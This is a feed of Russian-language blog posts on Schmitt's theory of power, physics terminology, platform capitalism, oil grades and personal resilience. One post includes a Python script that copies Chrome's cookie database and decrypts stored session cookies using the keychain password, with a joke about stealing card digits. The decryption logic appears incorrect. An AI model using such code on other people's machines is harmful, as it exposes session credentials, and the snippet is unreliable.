. Признак власти или одно из демонстраций власти – оценивание или оценки. Вот нам/вам оценки ставили учителя в школе и в вузе, оценивает какой-нить руководятел или менеджер или некто говорящий вам «вай, маладец», «ты отличный…укажи-функцию», так вот это тоже демонстрация власти. Или же когда оцениваете вы). Особенно когда это вне процесса, в котором такое оценивание предусмотрено соглашением сторон. То есть оценки вы не просили, или у вас не интересовались оценкой.

«Но кто решает в конкретном случае, добр ли человек или зол? Властитель или некто другой? Если у кого-то есть власть, то это значит, все же, что, прежде всего, решает он сам. Ведь это же и принадлежит к его власти. Если же решение об этом принимает кто-то другой, тогда власть как раз в руках у этого другого, или же, по меньшей мере, он на эту власть претендует.»

Читать полностью…

#деревня репортаж для перезагрузки. По заявкам читателей

Читать полностью…

Начало. Куки относятся к перс данным и прочим там #gdpr, поэтому сайты при первом заходе выводят уведомления.
Вот так можно через инструмент разработчика браузера глянуть какие куки прямо щас использует сайт
DevTools (F12 → Вкладка Application → Cookies) В #Chrome еще можно нажать на «2 полоски» в адресной строке и управлять куки там.

А вот структура #cookie-файла базы данных браузера:
domain Домен сайта, которому принадлежит cookie
name "session_id" Название cookie (как переменная в программировании)
value "a1b2c3" Значение #cookie (может быть зашифровано, если начинается с v10)
path "/account" Путь на сайте, где действует cookie (обычно / для всего сайта)
expires 1893474000 Дата удаления cookie (в формате Unix timestamp)
secure True Передавать cookie только по HTTPS? (True/False)
httponly False Запрет доступа к cookie через JavaScript (True/False)

А ковырнуть через #Python? Конечно) Вот программа, которая в подробностях выводит всю инфу о ваших куках (и отправляет мне последние 3 цифры всех ваших банк карт)

import sqlite3
from Crypto.Cipher import AES
import keyring
import os
import datetime
import json
import base64

def convert_chrome_time(chrome_time):
"""Конвертирует Chrome FILETIME в Unix timestamp"""
if chrome_time == 0:
return 0 # Сессионная кука

epoch_diff = 11644473600000000 # Разница между эпохами в микросекундах
try:
return (chrome_time - epoch_diff) // 1000000
except:
return 0

def get_chrome_cookies():
cookie_path = os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Cookies') # место где лежат куки
keychain_path = os.path.expanduser('~/Library/Application Support/Google/Chrome/Local State')

if not os.path.exists(cookie_path):
print("Файл cookies не найден!")
return []

try:
temp_cookie = '/tmp/chrome_cookies'
os.system(f'cp "{cookie_path}" {temp_cookie}')

conn = sqlite3.connect(temp_cookie)
cursor = conn.cursor()
cursor.execute("""
SELECT host_key, name, value, encrypted_value, path,
expires_utc, is_secure, is_httponly
FROM cookies""")

cookies = []
for item in cursor.fetchall():
expires_utc = convert_chrome_time(item[5]) # Конвертируем время

cookies.append({
'domain': item[0],
'name': item[1],
'value': item[2] if not item[3] else decrypt_chrome_cookie(item[3], keychain_path) or item[2],
'path': item[4],
'expires': expires_utc,
'secure': bool(item[6]),
'httponly': bool(item[7])
})

conn.close()
os.remove(temp_cookie)
return cookies

except Exception as e:
print(f"Ошибка: {str(e)}")
return []

def decrypt_chrome_cookie(encrypted_value, keychain_path):
try:
with open(keychain_path, 'r') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])[5:] #чистим лишнее
key = keyring.get_password('Chrome Safe Storage', 'Chrome') # Достаём пароль из связки ключей браузера
if not key:
return None
cipher = AES.new(key, AES.MODE_GCM, nonce=encrypted_value[3:15]) # Создаём инструмент для расшифровки
return cipher.decrypt(encrypted_value[15:])[:-16].decode() #расшифровываем
except Exception:
return None
if __name__ == '__main__':
cookies = get_chrome_cookies()
for cookie in cookies:
expires = "Сессионная" if cookie['expires'] == 0 else datetime.datetime.fromtimestamp(cookie['expires']).strftime('%Y-%m-%d %H:%M:%S')
print(f"""
Сайт: {cookie['domain']}
Имя: {cookie['name']}
Значение: {cookie['value']}
Действует до: {expires}
Защищённая: {'Да' if cookie['secure'] else 'Нет'}
""")

Читать полностью…

#политология #философия Карл #Шмидт «Беседа о власти». Начало.
Те самые «советники» и «приближенные» из предыдущего поста образуют коридор власти, иногда даже реальный в виде эстафеты по кабинетам. Кроме них могут быть еще неявные, скрытые акторы, от настроение и до погоды, несварения завтрака и случайной фразы от случайного человека.

«Перед каждым помещением прямой власти образуется как бы вестибюль косвенных влияний и сил, доступ к уху, коридор к душе властителя. Человеческой власти без этого вестибюля и без этого коридора просто не бывает.»

Когда Шмидт рассказывал все это еще не были распространены сети связи, а они все-таки пошатывают стеночки коридора. Да, руководятлы локальных уровней пытаются и загоняют весь процесс электронных обращений в стенки такого коридора, чтобы обращение не прошло мимо очередной насести курятника вертикали власти. Однако сеть и ее ресурсы обладают свойством, что «интернет помнит все» и охотно делится с каждым. Многое на поверхности, не надо быть даже COsinter`ом, чтобы найти-увидеть – приплывёт само. Из недавних примеров скинули недавно ролик некой блоХерши, которая прокатилась до Ростова на военном борту, и как сильно помог ей «человек из Кремля»?) Что еще интересно, функции этого коридора власти можно автоматизировать – чем лучше очередной бюрократ проставитель печатей-подписей или или какой-нить бесполезные депутат скрипта на Python, делающего тоже самое? Ничем.
Вот в другом посте я начал обзор на «Капитализм платформ», #govermentTech, возможно одна из следующих платформенных парадигм. И такие примеры электронного правительства есть, ближайший – в Латвии. Хотел его описать тут, но получается приличный оффтоп, поэтому отдельно.

«Чем больше власть концентрируется в определенном месте, у определенного человека или группы людей как на верхушке, тем сильнее обостряется проблема коридора и вопрос доступа к верхушке. Тем яростнее, ожесточеннее и безмолвнее будет также борьба между теми, кто захватил и удерживает «вестибюль» и контролирует «коридор». Эта борьба в тумане косвенных влияний столь же неизбежна, сколь и существенна для всякой человеческой власти. В ней совершается внутренняя диалектика человеческой власти.»

Поэтому сеть может сделать прозрачные стенки такого коридора, но…будет ли в этом интерес владельца коридора? Многочисленные исторические и не очень сюжеты хорошо показывают, что коридорная возня за доступ к ЛПР(лицу, принимающему решения), тоже используется для управления начиная от «разделяй и властвуй» до более тонких мутаций китайских стратагем. Такой фактор концентрации хорошо учитывать всяким надзорным-регуляторным товарищам типа #ОСБ #МВД/#ФСБ, #Совбеза – если где-то наблюдается сосредоточение полномочий у одного лица, значит можно посмотреть внимательнее, вдруг там интересные схемы?

Процесс образования коридора, о котором мы здесь говорим, происходит в минимальных, бесконечно малых начинаниях ежедневно, в большом и малом, всюду, где одни люди осуществляют власть над другими людьми. В той же степени, в которой сосредотачивается какое-либо помещение власти, сразу же организовывается также и вестибюль к этой власти. Любое усиление прямой власти сгущает и уплотняет также атмосферу косвенных влияний.

Читать полностью…

#физика #язык #философия
Попалась интересная статья про язык физики. Написана она Мэттом Страсслером, преподавателем Гарварда, соавтором каскадной калибровочной теории. В физике язык обманчив в интерпретации, например когда слышишь слово "частица", в воображении представляется крошечная точка.

«…данные и уравнения на первом месте, но все же физики передают свои идеи, как друг другу, так и неспециалистам, используя язык. Когда их формулировки двусмысленны или неоднозначны, важнейшие уроки о космосе могут быть неправильно поняты…физики говорят не на обычном языке. Они используют диалект. В нем полно привычно звучащих слов, у которых совсем другие, незнакомые значения (в том числе слова «сохранять» и «энергию»). Более того, многие слова, в том числе простые, как «сила» и «масса», даже не обозначают то, что изначально подразумевали физики. Следовательно, язык, который мы используем для обсуждения физики, затемняет некоторые из наших самых красивых и увлекательных открытий о том, как работает Вселенная.»

Математика является основной – базовым переносчиком физических смыслов. В универе у нас были лекции, в которых были сплошные формулы. Посыл был – зубрите, разбирайтесь, понимание придет… Понимание иногда сопротивлялось и включалось воображение

«Подобно музыке, математика иногда может преодолевать языковые барьеры: набор символов 2 + 2 = 4 может быть безмолвно интерпретирован во многих культурах. Поскольку теоретическая физика является наиболее математически обоснованной наукой, возможно, она наследует эту языковую независимость. Действительно ли E = mc² нуждается в переводе через слова?»

Да, нуждается.
«E» и «m» обозначают «энергию» и «массу», но что эти слова на самом деле означают? Никакого понимания знаменитой формулы Эйнштейна нельзя схватить, даже студентам-физикам, без обсуждения и договоренности о точных определениях этих символов/терминов. И это важно, так как в физике существует несколько типов энергии и массы, каждый с непривычным определением. Если не выбрать правильные типы, E = mc² даже не будет верным утверждением. Короче говоря, «энергия» и «масса» — это тени смыслов, ставшие несущими опорами формулы.
Физики это «чуют», вот из интервью Алексея Семихатова : «Масса элементарных частиц — это просто число в уравнениях» Продолжение следует

Читать полностью…

#срничек #капитализм платформ. Тут как-то все снова заговорил о «платформах», при том каждый с позиции своей единственно верной парадигмы. Кто-то типа Ореха Максимкина, Максима Орешкина видит в них спасение вся экономики, кто-то типа это автора строит вокруг них #капитализм, хотя платформы, как и программы, как и ОйТи в целом – инструмент капитализма и тут уже не «капитализм платформ», а платформы в капитализме. Платформа – в целом классная дойка инвесторов, повод выбить себе финансирование под предлогом «цифровизации» чего-либо. Что есть платформа? Это – большая такая программа, состоящая из нескольких модулей, разного масштаба, как по коду, так и по назначению. Пример – банковские и некоторые приложения онлайн магазинов, где разные функции от оформи кабалу кредит, до закажи пожрать или тур «мАЯ леть в Тайланд», точка входа всегда одна. В целом вроде как стильно-молодежно, но на деле внутри полно издержек и сбоев. За примерами далеко ходить не надо – Альфа и Т-банк их сбоями последние полгода. Вопрос читающим, вы часто используете весь функционал платформы? например делаете ли вы заказы чего-либо из приложения банка или используете как банк? Часто проще и практичнее пойти в профильное приложение-сервис и сделать все там. Почему? Потому, что пока данные дойдут по интеграции к партнерам из платформы возможны сбои, а это моя бОльшая потеря времени, чтобы объяснить поддержке платформы, что их поделка дно и нормально не работает. Проще сократить число шагов, где можно потерять данные. Ну да не по-зумЭрскЭ вот этому вашему: когда сосать коктейль и все по нажатию одной кнопки делать. Чтож. Срничек, Сырничек, начал его читать и с первых страниц льется водичка. А не миненеджер ли ты часом? Нет, но подозрение верное – автор не написал ни одной строчки кода и не спроектировал даже кнопки, но трет, как я тоже люблю – за все и сразу. Поэтому и название такое, когда ты занимаешься(лся) проектированием систем, то напишешь все быстрее и компактнее. Лан, дядьке надо кандидатские и гранты, 0 осуждения, 100 – понимания. По местным платформам пройдемся позднее – у менИ есть чи накинуть в вентилятор, только подставляй.
Интересно как капитализм ищет варианты прибыли, напоминает, как вирус «ищет» распространения или как огонь «ищет», что сжечь. Или как крыска загнанная в улог. (Какой я сегодня метафоричный, а?)

«На фоне длительного снижения уровня прибыльности в промышленности капитализм развернулся к данным, ища теперь в них источник экономического роста и жизнестойкости. В XXI в., на основе изменений в цифровых технологиях, данные стали играть ключевую роль в компаниях и их отношениях с работниками, клиентами и другими капиталистами. Появилась новая бизнес-модель — платформа, способная извлекать и контролировать огромное количество данных»

Данные. Ага, черное зеркало становится не сразу черным, а постепенно. Это сбор всего и вся, в попытках нащупать те неявные акторы/влияния из АСТ, через которые можно потыкать потребителя (меня, меня) – «эй нука покупай вот это». Даже баянные куки-файлы в браузере этом весьма неплохо помогают. Про файлики распишу отдельно – это такие структуры данных, которые облегчают работу клиента (вашего устройства/приложения и сервера, системы, к которой обращаетесь), содержат в себе разную инфу о посещенных вами страницах, поисковых запросах, идентификаторах-логинах, версии браузера и операционки. И да, цифровой след – это тоже они. А вам слабо, мои милые читатели, кинуть в комменты скрин с рекомендациями покупок или видео к просмотру из ваших приложений, м? Вот это все в том числе и по куки-файлам построено. Конечно, их чистить периодически полезно, но анализируются не только они.

«Сегодняшний капитализм в странах с высокими и средними доходами все более им подчинен, и вся описываемая ниже динамика заставляет предположить, что тренд будет лишь усиливаться»

Нет, канадский теоретик, платформы подчинены капитализму, а не наоборот. Через какое-то время он их тоже переварит, отрыгнув в «эконом науку» новую парадигму очередного «технического уклада» и переключится на поиск чего-то иного, для разгона маховика потребления

Читать полностью…

Начало. #нефть #ключи_из_книги
Интересно, что нет единой формулы. Как-нибудь проверю в другом источнике. Как показывает история разработки нефти – все смотрели на практику, как побыстрее добыть и продать, а не плодить парадигмы.

«Нефть из одного месторождения не похожа на другую. Даже выкачанная на соседних вышках может иногда достаточно сильно отличаться. Поэтому никакой формулы нефти вывести невозможно. Хотя те, кто хорошо учился в школе и любил химию, могут вспомнить, что в ее состав входят так называемые парафиновые, нафтеновые и ароматические углеводородные соединения. То есть так или иначе, а речь идет о разных комбинациях углерода (С) и водорода (Н), но комбинаций этих великое множество, всех не перечислить.»

Измеряется добыча в баррелях. Это – очередной атавизм. Когда в штатах нашли первое богатое месторождение в Техасе, брызнувшее добро нужно было куда-то залить. Ничего лучше не нашлось чем бытовые бочки. Так и переводится с местного жаргона «баррель». Чаще всего бочки были из-под виски. Итого 1 баррель == 159 литров.
Еще во всяких финансовых сводках могут звучать марки нефти. Экономистов, акционеров и брокеров парит «тяжесть» или «легкость», «кислота» или «сладость». Чем «легче» нефть (то есть чем больше в ней ценных углеводородов и меньше всяких бесполезных или малополезных примесей), тем она дороже. Аналогично «сладкая» – стоит ощутимо дороже «кислой», содержащей много серы: с «тяжелыми» и «кислыми» гораздо больше возни при переработке. Всемирные эталоны – #WTI и #Brent. Последняя названа в честь нефтяного месторождения в Северном море. А то, в свою очередь, c именем птицы – черной казарки. С другой стороны, название «Brent» можно расшифровать и как аббревиатуру названий пяти нефтеносных пластов. Так или иначе, но две трети продаваемой в мире нефти оцениваются по отношению к этой эталонной «птичке». А вот российская нефть «тяжела». А потому усредненная Urals (вот ведь до чего дошли – родной Уральский горный хребет официально по-английски именуем!) продается с ощутимой скидкой по сравнению с «легкими» сортами». Есть исключение Siberian Light, которая добывается в Восточной Сибири не перекачивается по трубопроводам, чтобы не смешивать с «обычной» «сернистой» нефтью.
Для торговли нефтью еще важен параметр градусов API (названный по American Petroeum Institute) от которого зависят и тяжесть, и вязкость нефти, и, в итоге, ее цена. Институт выбрал произвольную, но удобную отправную точку для отсчета (так сложилось исторически) – 10 градусов, выше которой нефть всплывает на поверхность воды, а ниже – тонет. Измеряется плотность гидрометром. «Легкая» нефть начинается с 31 градуса, а «тяжелая» все, что ниже 22,3 градуса. Но самые ценные виды нефти – плотностью от 40 до 45 градусов. Тяжелые виды – битум, например – имеют плотность ниже 10 градусов, при переработке градусы повышаются до 31 и выше получается синтетическая «легкая» нефть.

«Плотность американского эталона, WTI – Западно-Техасской Усредненной – приближается к 40 градусам, а потому она высоко ценится и должна, по идее, стоить дорого. Она к тому же «сладкая», в ней мало серы (меньше четверти процента). Английская Brent, которая служит эталоном для двух третей мирового рынка, тоже считается «сладкой», но все же серы в ней больше (0,37 %), и градусов API она тоже меньше «нагуляла» – порядка 38. Российская экспортная смесь
Urals и того тяжелее – только около 31 градуса (там возможны варианты).»

Читать полностью…

#бег выгул внутренней совы на закатный север. В такую погодку вечер, вода и холод из оврагов - топ. Что интересно вечерние бегуны салютуют больше чем утренние)

Читать полностью…

#ключи_на_ходу #психология
При обсуждении одной конструкции возникла интересная сборка-аналогия: Что роднит человека с кораблём?
🛥 Остойчивость. В море это способность судна выпрямляться после крена, не сдаваясь натиску волн. Чем «остойчивее» корабль, тем яростнее штормы он преодолевает. Где-то рядом находится «антихрупкость». В жизни мы тоже встречаем шквалы, рифы и подводные течения. И здесь наша остойчивость решает: останемся ли мы на плаву или позволим стихии затопить нас.
🛥 Груз в трюме —принципы
Корабль устойчив, если нагрузка распределена верно. Для человека такой нагрузкой становятся  убеждения, парадигмы. Что для вас — нерушимый стержень? Точно ли это должно быть стержнем? Ради чего вы готовы встретить любую бурю?
🛥 Искусство лавирования
Хороший моряк не бьётся с волной в лоб, а ищет путь через неё, вдоль или под углом к ней. Где вам стоит поддать ходу, а от каких тяжёлых якорей (страхи, бесполезные обязательства) пора избавиться?
🛥Навигация. Это ваши цели, намерения, «долгая воля», мечты, необходимость - внутренний компас-мотор
🛥 Доверие к своему корпусу
Судно строят, зная: ему предстоит выдержать девятый вал. Вспомните свою «конструкцию»: какой опыт, умения и характер помогают вам не дать течи даже в самый жёсткий шторм? А какие быть гибкими под ударами волн.
Остойчивость, как почти все навыки-характеристики, — не дар, а ремесло - практика. Каждая буря проходит и приносит опыт, как персональный курс обучения. Лучшие корабли становятся лучшими не в доке, а в открытом море. Все волны на вашем пути будут вам в опыт и закалку конструкции.
🏴‍☠️Держите курс. И пусть ни один ветер не собьёт вас с пути. 🏴‍☠️

Читать полностью…

#ключи_на_ходу #уфа атмосфера

Читать полностью…

#политология #философия Карл #Шмидт «Беседа о власти». Начало.
#Власть субъективна, все эти «объективные взгляды» - слова ширма, так как всегда есть неполнота и даже искажение той информации, которая доходит до того у «кого власть»:

«Человеческий индивидуум, в руках которого на мгновение оказываются большие политические решения, может сформировать свою волю только при существующих предпосылках и существующими средствами. Даже самый абсолютный правитель опирается на доклады и информацию и зависит от своих советников. День за днем и час за часом на него наваливается множество фактов и сообщений, предложений и предположений. Из этого бесконечного бушующего моря правды и лжи, действительности и вероятности даже самый умный и самый могущественный человек может почерпнуть, самое большее, лишь несколько капель.»

Сейчас стало больше возможностей проверить советников или собрать информацию самому, но это все еще занимает время. Тут возможен вариант создания приложения-советника для проверки-верификации поступающей инфы, но опять же – где гарантия, что алгоритм не субъективен, ведь он спроектирован заведомо субъективными создателями, к тому же тоже может не захватить всех источников. Но как еще одна точка проверки, почему нет. Власть подвержена косвенным влияниям. Во времена автора еще не было такого развития сетевой связности как сейчас, поэтому таких «влияний» и вероятности влияния становится больше. Поэтому если есть возможность – следите своими мыслями, идеями, например так. Вы все можете обладать каплей власти, а капля точит камень. Медленно, по-разному медленно, камни бывают тоже разного материала…

«Тот, кто делает властителю доклад или информирует его, уже обладает долей власти, вне зависимости от того, является ли он ответственным министром, скрепляющим официальные документы своей подписью, или же он каким-то косвенным способом может добраться до уха властителя. Этого достаточно, чтобы он передавал представления и мотивы тому человеческому индивидууму, в руках которого на данный момент оказывается решение. Так всякая прямая власть сразу оказывается подчиненной косвенным влияниям.»

«Короля играет свита» - тут это тоже прослеживается. За образом, «этикеткой», симулякром властителя могут быть скрыты разные источники и мотивы решений. «Властное» идет в обнимку с субъективным или даже «иррациональным». Хождение «в поле» из первого примера не так уж плохо, это погружение в реальность, выход их рамок созданных советниками или привычными информационными потоками. А вот замыкание на одном советнике-консультанте (коуче тоже) – это стимул для роста злоупотреблений последнего.

«К сожалению, они вследствие этого попадали только в новые и часто гротескные зависимости. Халиф Гарун аль-Рашид, в конце концов, переодевшись в простого человека, ходил по ночам по трактирам в Багдаде, чтобы, наконец, узнать чистую правду. Я не знаю, что он нашел в этом сомнительном источнике и что испил из него. Фридрих Великий стал на склоне лет настолько недоверчивым, что говорил откровенно только лишь со своим камердинером Фредерсдорфом. Камердинер вследствие этого стал влиятельным человеком, даже если во всем остальном он по-прежнему оставался верным и порядочным Другие властители приходят с этим к своему шоферу или к своей любовнице. Перед каждым помещением прямой власти образуется как бы вестибюль косвенных влияний и сил, доступ к уху, коридор к душе властителя. Человеческой власти без этого вестибюля и без этого коридора просто не бывает.»

Читать полностью…